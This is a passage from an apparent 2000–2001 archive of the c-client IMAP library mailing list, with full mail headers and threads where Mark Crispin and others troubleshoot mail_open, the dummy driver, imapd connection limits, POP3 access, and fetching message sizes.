20:06:12 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id UAA134552 for ; Sun, 26 Nov 2000 20:04:27 -0800 Received: from europa.gatecom.com ([209.69.204.245]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA22890 for ; Sun, 26 Nov 2000 20:04:24 -0800 Received: (from ptr@localhost) by europa.gatecom.com (8.9.3/8.9.3) id AAA09245; Mon, 27 Nov 2000 00:21:12 -0500 Message-Id: <200011270521.AAA09245@europa.gatecom.com> Date: Mon, 27 Nov 2000 00:21:12 EST Reply-To: ptr@gatecom.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: J T Breitner To: MRC@CAC.Washington.EDU Cc: c-client@u.washington.edu Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Remote-Host: 10.1.1.10 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 26 Nov 2000 10:56:06 -0800 (PST), Mark Crispin MRC@CAC.Washington.EDU wrote: > On Sun, 26 Nov 2000 11:35:01 EST, J T Breitner wrote: > > If imap-2000 attempts to open a mailbox with no messages and no > > "prefixing" mail message in the box (otherwise a zero-byte file), mail_open > > appears to return null. > > What do you mean by "return null"? > > c-client should return an open mailstream with zero messages. If it does not, > are you running a modified version of c-client? Have you deleted any drivers? > I am running a modified version, but it's one that only points the mail folders to their "home"/mail directories (as in /usr/people//mail). I have not modified any drivers. Here's what I'm doing that returns the null: ... if((stream=mail_open(NIL,_thispath,NIL)) == NIL){ return(0); } ... The function attempts to open up a stream to _thispath. If it has the prefix message in there, it's happy. If it's a zero-byte file, it'll return NIL. My error-trapping sees it and says "ooops, you can't open that mailbox". I've recreated this on both Irix 6.2 and Linux RH 6.2. In some tests this afternoon, mtest reports back that it's a "dummy mailbox" with zero messages. When I get some time Monday, I'll pick apart mtest and see what you're doing there at that condition. That might point me in the right direction. If not, well, you'll probably be among the first to know. From pinedev@shivax2.cac.washington.edu Sun Nov 26 20:19:38 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 26 Nov 2000 20:19:38 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id UAA11641 for ; Sun, 26 Nov 2000 20:19:37 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA12685; Sun, 26 Nov 2000 20:19:35 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id UAA31464; Sun, 26 Nov 2000 20:18:35 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id UAA134506 for ; Sun, 26 Nov 2000 20:18:04 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (icz@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA28991 for ; Sun, 26 Nov 2000 20:18:04 -0800 Message-Id: Date: Sun, 26 Nov 2000 20:16:49 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: ptr@gatecom.com Cc: c-client@u.washington.edu Subject: re: In-Reply-To: <200011270521.AAA09245@europa.gatecom.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN If mtest reports "dummy mailbox" and your application does not, do you have a proper #include at the start of your main program? This is *NOT* optional. From pinedev@shivax2.cac.washington.edu Mon Nov 27 11:13:43 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 27 Nov 2000 11:13:42 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id LAA25027 for ; Mon, 27 Nov 2000 11:13:41 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA32417; Mon, 27 Nov 2000 11:13:39 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA14662; Mon, 27 Nov 2000 11:10:39 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA377172 for ; Mon, 27 Nov 2000 11:08:21 -0800 Received: from europa.gatecom.com ([209.69.204.245]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA23524 for ; Mon, 27 Nov 2000 11:08:19 -0800 Received: (from ptr@localhost) by europa.gatecom.com (8.9.3/8.9.3) id PAA09934; Mon, 27 Nov 2000 15:24:46 -0500 Message-Id: <200011272024.PAA09934@europa.gatecom.com> Date: Mon, 27 Nov 2000 15:24:46 EST Reply-To: ptr@gatecom.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: J T Breitner To: MRC@CAC.Washington.EDU Cc: c-client@u.washington.edu Subject: mail_open revisited... Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Remote-Host: 209.69.206.248 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 26 Nov 2000 20:16:49 -0800 (PST), Mark Crispin MRC@CAC.Washington.EDU wrote: > If mtest reports "dummy mailbox" and your application does not, do you have a > proper > #include > at the start of your main program? This is *NOT* optional. > Yep, it's there. BUT, it's pointing off to an older imap distro. So much for keeping the make files current. Thank you...it would have taken me all week to figure that one out. From pinedev@shivax2.cac.washington.edu Tue Nov 28 00:19:28 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Nov 2000 00:19:28 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id AAA30095 for ; Tue, 28 Nov 2000 00:19:27 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA12390; Tue, 28 Nov 2000 00:19:24 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id AAA19682; Tue, 28 Nov 2000 00:18:31 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id AAA85802 for ; Tue, 28 Nov 2000 00:16:36 -0800 Received: from fort-point-station.mit.edu (FORT-POINT-STATION.MIT.EDU [18.72.0.53]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA20734 for ; Tue, 28 Nov 2000 00:16:35 -0800 Received: from grand-central-station.MIT.EDU (GRAND-CENTRAL-STATION.MIT.EDU [18.69.0.34]) by fort-point-station.mit.edu (8.9.2/8.9.2) with ESMTP id DAA17216; Tue, 28 Nov 2000 03:16:34 -0500 (EST) Received: from melbourne-city-street.MIT.EDU (MELBOURNE-CITY-STREET.MIT.EDU [18.69.0.45]) by grand-central-station.MIT.EDU (8.9.2/8.9.2) with ESMTP id DAA25713; Tue, 28 Nov 2000 03:16:34 -0500 (EST) Received: from well.mit.edu (IDENT:root@WELL.MIT.EDU [18.250.1.77]) by melbourne-city-street.MIT.EDU (8.9.3/8.9.2) with ESMTP id DAA14022; Tue, 28 Nov 2000 03:16:34 -0500 (EST) Received: from localhost (jmorzins@localhost) by well.mit.edu (8.9.3) with ESMTP id DAA03198; Tue, 28 Nov 2000 03:16:33 -0500 Message-Id: Date: Tue, 28 Nov 2000 03:16:33 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jacob Morzinski To: J T Breitner Cc: Subject: Re: Mail_Open in IMAP_2000 In-Reply-To: <200011261635.LAA08608@europa.gatecom.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 26 Nov 2000, J T Breitner wrote: > If imap-2000 attempts to open a mailbox with no messages and no > "prefixing" mail message in the box (otherwise a zero-byte file), mail_open > appears to return null. > > I understand why, but is there any way to require it to insert the prefixing > message into the mailbox? I'm not sure what you mean by "appears to return null." Nevertheless, when I was playing with imap-4.7, I was hitting a similar problem -- attempting to open an empty file would succeed, but would use the "dummy" driver instead of the "unix" driver, which caused problems for me later down the line. I worked around my problem by setting "quell-folder-internal-msg" just before opening the empty file, and unsetting it immediately after. The result is that empty files are opened with the unix driver, and a prefix message is eventually inserted into the mailbox. The core code went something like: quell = mail_parameters(NULL, GET_USERHASNOLIFE, NULL); if (quell) mail_parameters(NULL, SET_USERHASNOLIFE, NULL); context_create(cntxt, NULL, ps_global->VAR_INBOX_PATH); if (quell) mail_parameters(NULL, SET_USERHASNOLIFE, quell); From pinedev@shivax2.cac.washington.edu Tue Nov 28 01:37:25 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Nov 2000 01:37:23 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id BAA20427 for ; Tue, 28 Nov 2000 01:37:22 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA22100; Tue, 28 Nov 2000 01:37:20 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id BAA18234; Tue, 28 Nov 2000 01:36:31 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id BAA386720 for ; Tue, 28 Nov 2000 01:33:20 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (hgm@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA29548 for ; Tue, 28 Nov 2000 01:33:20 -0800 Message-Id: Date: Tue, 28 Nov 2000 01:29:32 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jacob Morzinski Cc: J T Breitner , c-client@u.washington.edu Subject: Re: Mail_Open in IMAP_2000 In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 28 Nov 2000 03:16:33 -0500 (EST), Jacob Morzinski wrote: > attempting to open an empty file would succeed, > but would use the "dummy" driver instead of the "unix" driver, > which caused problems for me later down the line. What problems? The dummy driver simply means that the file is zero bytes, and it doesn't know what format it is. As soon as the file becomes non-zero bytes, it will automatically switch to the correct format. > I worked around my problem by setting "quell-folder-internal-msg" > just before opening the empty file, and unsetting it immediately > after. The result is that empty files are opened with the unix > driver, and a prefix message is eventually inserted into the mailbox. This makes no sense. > quell = mail_parameters(NULL, GET_USERHASNOLIFE, NULL); > if (quell) > mail_parameters(NULL, SET_USERHASNOLIFE, NULL); > context_create(cntxt, NULL, ps_global->VAR_INBOX_PATH); > if (quell) > mail_parameters(NULL, SET_USERHASNOLIFE, quell); What this code does is *disable* the "quell-folder-internal-msg" around the create -- which you never should have enabled to begin with and is disabled by default. It sounds to me like you were playing around with something that you didn't fully understand. From pinedev@shivax2.cac.washington.edu Wed Nov 29 09:16:17 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Nov 2000 09:16:16 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id JAA06328 for ; Wed, 29 Nov 2000 09:16:15 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA03163; Wed, 29 Nov 2000 09:16:13 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA13906; Wed, 29 Nov 2000 09:13:51 -0800 Received: from andrew.triumf.ca (IDENT:root@andrew.Triumf.CA [142.90.106.59]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA23004 for ; Wed, 29 Nov 2000 09:10:49 -0800 Received: from localhost (IDENT:andrew@localhost [127.0.0.1]) by andrew.triumf.ca (8.10.2/8.10.2) with ESMTP id eATHAm124085 for ; Wed, 29 Nov 2000 09:10:48 -0800 Message-Id: Date: Wed, 29 Nov 2000 09:10:48 -0800 (PST) Reply-To: Andrew Daviel Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Daviel To: c-client@lists.u.washington.edu Subject: connect limit ? imapd disconnects. MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN (also on news:comp.os.linux.networking) We have a (currently) RedHat 5.2 linux 2.0.36 system as a mail server, running sendmail-8.10.2, imap-4.7 & IMP/Apache. Local users use IMAP, which is spawned from inetd in the usual way, mostly from Netscape. Some users report problems connecting with IMAP - it says "system busy" or some such (I haven't actually seen it myself, but it seems to happen quite frequently to some people). It might happen to people with a particular platform or network segment more than others, but there's no clear pattern. We recently doubled the RAM from 64M to 128M to improve performance with users who have large mailboxes. System load is usually light (less than 0.5), free swap seems OK (500M), free disk is OK. When someone reports the problem, and we log in with ssh, everything seems OK. We have about 80 instances of imapd running and about 150 open network connects. I see a few "Connection reset by peer, while reading line.." in the syslog, but (I believe) these are not correlated to the user problems. I may be wrong. Is there some kernel limit somewhere we're running into ? Ideas ? Andrew Daviel, TRIUMF, Canada Tel. +1 (604) 222-7376 security@triumf.ca PGP ID 0xC7624B49 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Dec 26 01:31:19 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 26 Dec 2000 01:31:18 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id BAA05845 for ; Tue, 26 Dec 2000 01:31:16 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA03225; Tue, 26 Dec 2000 01:31:13 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id BAA22102; Tue, 26 Dec 2000 01:27:01 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id BAA53480 for ; Tue, 26 Dec 2000 01:23:46 -0800 Received: from seed.pacific.net.sg (seed.pacific.net.sg [203.120.90.77]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA09212 for ; Tue, 26 Dec 2000 01:23:45 -0800 Received: from pop1.pacific.net.sg (pop1.pacific.net.sg [203.120.90.85]) by seed.pacific.net.sg with ESMTP id eBQ9NeP04478 for ; Tue, 26 Dec 2000 17:23:40 +0800 (SGT) Received: from moon.pacific.net.sg (moon.pacific.net.sg [203.120.89.122]) by pop1.pacific.net.sg with ESMTP id RAA20468 for ; Tue, 26 Dec 2000 17:23:40 +0800 (SGT) Message-Id: Date: Tue, 26 Dec 2000 17:23:38 +0800 (SGT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: CheongMeng To: c-client@u.washington.edu Subject: can Imap-cclient work in BSDI4.1 ? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: root@moon.pacific.net.sg X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN HI, I tried to install cclient in BSDI4.1 to use with apache and PHP4. However the imap_open function does not work, while trying to connect to a POP3 server. It always return error mesg saying that the username or password error. But it work properly in linux. I suspect the imap-cclient does not work properly with BSDI. Can anyone help ? Thanks. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Dec 26 15:52:52 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 26 Dec 2000 15:52:51 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id PAA06778 for ; Tue, 26 Dec 2000 15:52:50 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA21638; Tue, 26 Dec 2000 15:52:48 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id PAA14802; Tue, 26 Dec 2000 15:51:39 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id PAA13676 for ; Tue, 26 Dec 2000 15:50:32 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (metka@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA13147 for ; Tue, 26 Dec 2000 15:50:32 -0800 Message-Id: Date: Tue, 26 Dec 2000 15:47:53 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: CheongMeng Cc: c-client@u.washington.edu Subject: re: can Imap-cclient work in BSDI4.1 ? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 26 Dec 2000 17:23:38 +0800 (SGT), CheongMeng wrote: > I tried to install cclient in BSDI4.1 to use with apache and PHP4. However > the imap_open function does not work, while trying to connect to a POP3 > server. It always return error mesg saying that the username or password > error. But it work properly in linux. I suspect the imap-cclient does not > work properly with BSDI. Can anyone help ? c-client is in use on many BSDI systems. I can not understand why you would use imap_open to connect to a POP3 server. The function to connect to a POP3 server is pop3_open; however, you should not call either imap_open or pop3_open from an application program. Instead, you should use the mail_open call, with an appropriate mailbox name specification as explained in the naming.txt file. From pinedev@shivax2.cac.washington.edu Thu Jan 4 11:32:44 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 4 Jan 2001 11:32:44 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id LAA01256 for ; Thu, 4 Jan 2001 11:32:43 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA25121; Thu, 4 Jan 2001 11:32:34 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id LAA15830; Thu, 4 Jan 2001 11:27:02 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id LAA06394 for ; Thu, 4 Jan 2001 11:25:15 -0800 Received: from danger.com (wall.danger.com [63.203.215.2]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA04460 for ; Thu, 4 Jan 2001 11:25:11 -0800 Received: from danger.com (IDENT:CryoMax@frost.danger.com [10.0.1.75]) by danger.com (8.9.3/8.9.3) with ESMTP id LAA23994 for ; Thu, 4 Jan 2001 11:24:10 -0800 Message-Id: <3A54CDEE.3964D21A@danger.com> Date: Thu, 04 Jan 2001 11:24:30 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "...Paul" To: c-client@u.washington.edu Subject: Retrieving RFC822.SIZE with C-Client? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: CryoMax@danger.com X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've looked over c-client, and I can't seem to find a function in the API that will return to me the RFC822 size of a message. I know this is possible to do in a lightweight fashion, RFC2060 outlines the FETCH command with the RFC822.SIZE option. I want to be able to spin through all the messages in a folder to find out just how much space is being used by the mailbox, but WITHOUT the overhead of retrieving all the messages. I went through the 5 meg archive at the website, but from the posts I found, it looked like C-client might not have anything built in that will simply return the full size of a message without pulling over the body? ...Paul -- ...Paul Email: paul@danger.com Danger Research, Inc. 165 University Avenue Cell: 650-619-1220 Palo Alto, CA 94301 Fax: 650-289-5001 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jan 4 11:41:04 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 4 Jan 2001 11:41:04 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id LAA07115 for ; Thu, 4 Jan 2001 11:41:02 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA25422; Thu, 4 Jan 2001 11:41:00 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id LAA21148; Thu, 4 Jan 2001 11:36:53 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id LAA21316 for ; Thu, 4 Jan 2001 11:35:24 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (rfort@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA18191 for ; Thu, 4 Jan 2001 11:35:24 -0800 Message-Id: Date: Thu, 4 Jan 2001 11:33:41 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "...Paul" Cc: c-client@u.washington.edu Subject: re: Retrieving RFC822.SIZE with C-Client? In-Reply-To: <3A54CDEE.3964D21A@danger.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 04 Jan 2001 11:24:30 -0800, ...Paul wrote: > I've looked over c-client, and I can't seem to find a function in the > API that will return to me the RFC822 size of a message. The way to do it is: size = mail_elt (stream,msgno)->rfc822_size; However, you must do either a mail_fetch_fast() or mail_fetch_structure() on that message number first. From pinedev@shivax2.cac.washington.edu Sat Jan 6 14:48:46 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 6 Jan 2001 14:48:45 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id OAA02302 for ; Sat, 6 Jan 2001 14:48:44 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA31716; Sat, 6 Jan 2001 14:48:42 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id OAA26802; Sat, 6 Jan 2001 14:43:30 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id OAA34232 for ; Sat, 6 Jan 2001 14:41:50 -0800 Received: from mailhub.cns.ksu.edu (root@grunt.ksu.ksu.edu [129.130.12.17]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA04702 for ; Sat, 6 Jan 2001 14:41:50 -0800 Received: from unix2 (solarion@unix2.cc.ksu.edu [129.130.12.4]) by mailhub.cns.ksu.edu (8.9.1/8.9.1/mailhub+tar) with SMTP id QAA20322 for ; Sat, 6 Jan 2001 16:41:49 -0600 (CST) Received: by unix2 (SMI-8.6/1.34) id QAA02325; Sat, 6 Jan 2001 16:41:49 -0600 Message-Id: <20010106164148.B7495@ksu.edu> Date: Sat, 6 Jan 2001 16:41:49 -0600 Reply-To: solarion+response@ksu.edu Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Joseph Pingenot To: c-client@u.washington.edu Subject: getting client host, port in authserver_t function Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-School: Kansas State University X-vi-or-emacs: vi X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Greetings. Is there a good way to get the client's host (hostname or IP address) and port for use in authenticating from inside of an authserver_t implementation function? I can't see any way off hand. If not, do others consider it a good idea to be able to do this? (If yes, I'll hack it in and submit a patch.) Thanks! -Joseph -- Joseph Pingenot==========================================solarion@ksu.edu Student Unix Systems Administrator, Tel: +1 785 532 3517 Computing and Networking Services, Fax: +1 785 532 3515 Kansas State University -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jan 8 23:23:02 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Jan 2001 23:23:02 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id XAA02472 for ; Mon, 8 Jan 2001 23:23:00 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA04027; Mon, 8 Jan 2001 23:22:53 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id XAA04490; Mon, 8 Jan 2001 23:18:27 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id XAA25116 for ; Mon, 8 Jan 2001 23:16:36 -0800 Received: from smtp.263.net ([202.96.44.20]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA07612 for ; Mon, 8 Jan 2001 23:16:30 -0800 Received: from tt (unknown 